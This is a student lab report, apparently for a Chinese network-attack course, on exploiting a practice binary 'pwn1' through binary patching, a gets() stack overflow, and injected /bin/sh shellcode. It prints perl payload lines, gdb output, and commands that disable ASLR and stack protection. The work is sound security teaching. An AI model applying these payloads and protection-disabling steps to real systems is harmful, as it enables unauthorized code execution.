20155202张旭《网络对抗技术》 week1 PC平台逆向破解及Bof基础实践

1.实践目标：

实践对象：一个名为pwn1的linux可执行文件。

该程序正常执行流程是：

main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。
正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

- 运行原本不可访问的代码片段

- 强行修改程序执行流

- 以及注入运行任意代码。

2.实践基础知识

常用的Linux基本操作

objdump -d：从objfile中反汇编那些特定指令机器码的section。

perl -e：后面紧跟单引号括起来的字符串，表示在命令行要执行的命令。

xxd ：为给定的标准输入或者文件做一次十六进制的输出，它也可以将十六进制输出转换为原来的二进制格式。

ps -ef：显示所有进程，并显示每个进程的UID,PPIP,C与STIME栏位。

| ：管道，将前者的输出作为后者的输入。

> ：输入输出重定向符，将前者输出的内容输入到后者中。

NOP, JNE, JE, JMP, ++CMP汇编指令的机器码++

1. near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）

2. CMP：比较指令，功能相当于减法指令，只是对操作数之间运算比较，不保存结果。cmp指令执行后，将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

3. NOP：NOP指令即“空指令”。执行到NOP指令时，CPU什么也不做，仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。（机器码：90）

4. JNE：条件转移指令，如果不相等则跳转。（机器码：75）

5. JE：条件转移指令，如果相等则跳转。（机器码：74）

6. JMP：无条件转移指令。段内直接短转Jmp short（机器码：EB） 段内直接近转移Jmp

下载目标文件pwn1,反汇编。下面只保留了最核心的几行代码。

root@KaliYL:~#  objdump -d pwn1 | more

0804847d <getShell>:

 804847d:	55                   	push   %ebp

 ...

08048491 <foo>:

 8048491:	55                   	push   %ebp

 ...

080484af <main>:

 ...

 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>

 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax

 ...

先看第12行，"call 8048491 "是汇编指令
是说这条指令将调用位于地址8048491处的foo函数；
其对应机器指令为“e8 d7ffffff”，e8即跳转之意。
本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值，

--
main函数调用foo，对应机器指令为“ e8 d7ffffff”，
那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。
用Windows计算器，直接 47d-4ba就能得到补码，是c3ffffff。
下面我们就修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff。

--
root@KaliYL:~# cp pwn1 pwn2
root@KaliYL:~# vi pwn2
以下操作是在vi内
1.按ESC键
2.输入如下，将显示模式切换为16进制模式
:%!xxd
3.查找要修改的内容
/e8d7
4.找到后前后的内容和反汇编的对比下，确认是地方是正确的
5.修改d7为c3
6.转换16进制为原格式
:%!xxd -r
7.存盘退出vi
:wq
8.再反汇编看一下，call指令是否正确调用getShell

root@KaliYL:~# objdump -d pwn2 | more

...

080484af <main>:

 80484af:	55                   	push   %ebp

 80484b0:	89 e5                	mov    %esp,%ebp

 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp

 80484b5:	e8 c3 ff ff ff       	call   804847d <getShell>

 80484ba:	b8 00 00 00 00       	mov    $0x0,%eax

9.运行下改后的代码，会得到shell提示符#

root@KaliYL:~# ./pwn2

# ls

20135201_met_rtcp_136_443backdoor.exe  pwn1.bak

通过构造输入参数，造成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术
3.1 反汇编，了解程序的基本功能

root@KaliYL:~#  objdump -d pwn1 | more

 8048477:	90                   	nop

 8048478:	e9 73 ff ff ff       	jmp    80483f0 <register_tm_clones>

== 注意这个函数getShell，我们的目标是触发这个函数 ==

0804847d <getShell>:

 804847d:	55                   	push   %ebp

 804847e:	89 e5                	mov    %esp,%ebp

 8048480:	83 ec 18             	sub    $0x18,%esp

 8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)

 804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>

 804848f:	c9                   	leave

 8048490:	c3                   	ret

== 该可执行文件正常运行是调用如下函数foo，这个函数有Buffer overflow漏洞 ==

08048491 <foo>:

 8048491:	55                   	push   %ebp

 8048492:	89 e5                	mov    %esp,%ebp

 8048494:	83 ec 38             	sub    $0x38,%esp

 8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax

 804849a:	89 04 24             	mov    %eax,(%esp)

== 这里读入字符串，但系统只预留了__字节的缓冲区，超出部分会造成溢出，我们的目标是覆盖返回地址 ==

804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>

 80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax

 80484a5:	89 04 24             	mov    %eax,(%esp)

 80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>

 80484ad:	c9                   	leave

 80484ae:	c3                   	ret

080484af <main>:

 80484af:	55                   	push   %ebp

 80484b0:	89 e5                	mov    %esp,%ebp

 80484b2:	83 e4 f0             	and    $0xfffffff0,%esp

 80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>

上面的call调用foo,同时在堆栈上压上返回地址值:__________

80484ba:	b8 00 00 00 00       	mov    $0x0,%eax

 80484bf:	c9                   	leave

 80484c0:	c3                   	ret

 80484c1:	66 90                	xchg   %ax,%ax

 80484c3:	66 90                	xchg   %ax,%ax

 80484c5:	66 90                	xchg   %ax,%ax

 80484c7:	66 90                	xchg   %ax,%ax

 80484c9:	66 90                	xchg   %ax,%ax

 80484cb:	66 90                	xchg   %ax,%ax

 80484cd:	66 90                	xchg   %ax,%ax

 80484cf:	90                   	nop

080484d0 <__libc_csu_init>:

3.2 确认输入字符串哪几个字符会覆盖到返回地址

root@KaliYL:~# gdb pwn1

(gdb) r

Starting program: /root/pwn1

1111111122222222333333334444444455555555

1111111122222222333333334444444455555555

Program received signal SIGSEGV, Segmentation fault.

0x35353535 in ?? ()

(gdb) info r

eax            0x29	41

ecx            0xffffffff	-1

edx            0xf7fab870	-134563728

ebx            0x0	0

esp            0xffffd320	0xffffd320

ebp            0x34343434	0x34343434

esi            0xf7faa000	-134569984

edi            0xf7faa000	-134569984

eip            0x35353535	0x35353535            //注意EIP的值，是ASCII 5

eflags         0x10246	[ PF ZF IF RF ]

cs             0x23	35

ss             0x2b	43

ds             0x2b	43

es             0x2b	43

fs             0x0	0

gs             0x63	99

(gdb) r

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /root/pwn1

1111111122222222333333334444444412345678

1111111122222222333333334444444412345678

Program received signal SIGSEGV, Segmentation fault.

0x34333231 in ?? ()

(gdb) info r

eip            0x34333231	0x34333231

eflags         0x10246	[ PF ZF IF RF ]

(gdb)

如果输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址，输给pwn1，pwn1就会运行getShell。

3.3 确认用什么值来覆盖返回地址

getShell的内存地址，通过反汇编时可以看到，即0804847d。

接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。

(gdb) break *0x804849d

Breakpoint 2 at 0x804849d

(gdb) info break

Num     Type           Disp Enb Address    What

1       breakpoint     keep y   <PENDING>  x804849d

2       breakpoint     keep y   0x0804849d <foo+12>

(gdb) r

Starting program: /root/pwn1 

Breakpoint 2, 0x0804849d in foo ()

(gdb) info r

eip            0x804849d	0x804849d <foo+12>

对比之前 ==eip 0x34333231	0x34333231== ，正确应用输入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。

3.4 构造输入字符串

由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值，所以先生成包括这样字符串的一个文件。\x0a表示回车，如果没有的话，在程序运行时就需要手工按一下回车键。

root@KaliYL:~# perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

关于Perl： Perl是一门解释型语言，不需要预编译，可以在命令行上直接使用。 使用输出重定向“>”将perl生成的字符串存储到文件input中。

可以使用16进制查看指令xxd查看input文件的内容是否如预期。

然后将input的输入，通过管道符“|”，作为pwn1的输入

遇到的问题及解决方案

问题一.没办法联网，自己修改了虚拟机ip地址还是不行。

解决方法：
1，首先将VM的网卡net8启用：

怎样让VM共享本地网络地址上网
　　2，然后将VM的网卡设置为VMnet8（NAT）：

怎样让VM共享本地网络地址上网
　　3，将PC的可以上网的网卡共享：

怎样让VM共享本地网络地址上网

　　要勾上允许其他网络用户通过此计算机的intenet连接来连接，并选择VMnet8。
　　4，设置VMnet8网卡的默认网关为本地PC可以上网的网卡的IP地址：

怎样让VM共享本地网络地址上网

　　我可以上网的网卡的IP地址为172.18.216.77，VMnet8的地址为192.168.0.1
　　5，设置VM中网卡的地址为192.168.0.*网段，默认网关为192.168.0.1，并配置好DNS。

怎样让VM共享本地网络地址上网

　　这样就算设置完成了，在VM中访问网络时，先根据默认网关192.168.0.1，找到了VMnet8网卡，然后根据VMnet8网卡的默认网关172.18.216.77找到了可以上网的网卡，而该网卡已经共享上网，

还有不要没事按360的加速球，贼气人，把后台的vm程序全关了！！！

问题二.安装32位运行库很慢

等，就一个字，等，等三小时！！
1.切换到root用户（大家如果按部就班地安装的话都是root用户）

kali@20154312:~$ su

密码：

2.用文本编辑器打开source.list

root@20154312: leafpad /etc/apt/sources.list

3.添加下列更新源

#阿里云kali源

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free

deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free  

#中科大kali源

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free

deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free

4.对软件进行一次整体更新（一共923M的更新包）

apt-get clean

apt-get update

apt-get upgrade

二.安装32位运行库

apt-get install lib32ncurses5

或者

apt-get install lib32z1

4. 注入Shellcode并执行

shellcode就是一段机器指令（code）
通常这段机器指令的目的是为获取一个交互式的shell（像linux的shell或类似windows下的cmd.exe），所以这段机器指令被称为shellcode。
在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

首先使用apt-get install execstack命令安装execstack。

修改以下设置：

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行

root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行

X pwn1

root@KaliYL:~# more /proc/sys/kernel/randomize_va_space

2

root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

root@KaliYL:~# more /proc/sys/kernel/randomize_va_space

0

我们选择retaddr+nops+shellcode结构来攻击buf，在shellcode前填充nop的机器码90，最前面加上加上返回地址（先定义为\x4\x3\x2\x1）：

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

一定切记要加上32个a，不然地址会出错

接下来确定\x4\x3\x2\x1部分到底需要填什么
打开一个终端注入这段攻击buf，在另一个终端查看pwn1这个进程，发现进程号为2571。
启动gdb调试这个进程：
通过设置断点，来查看注入buf的内存地址：
使用break *0x080484ae设置断点，并输入c继续运行。在pwn5202进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp查找地址。
使用x/16x 0xffffd2fc查看其存放内容，看到了01020304，就是返回地址的位置。根据我们构造的input_shellcode可知，shellcode就在其后，所以地址是0xffffd2fc。
接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可：
再执行程序，攻击成功：

最后切记初始化固定段地址每次启动虚拟机都要重新配置，不然会和我一样蠢的在图书馆三小时不知道哪里错了哈哈哈！！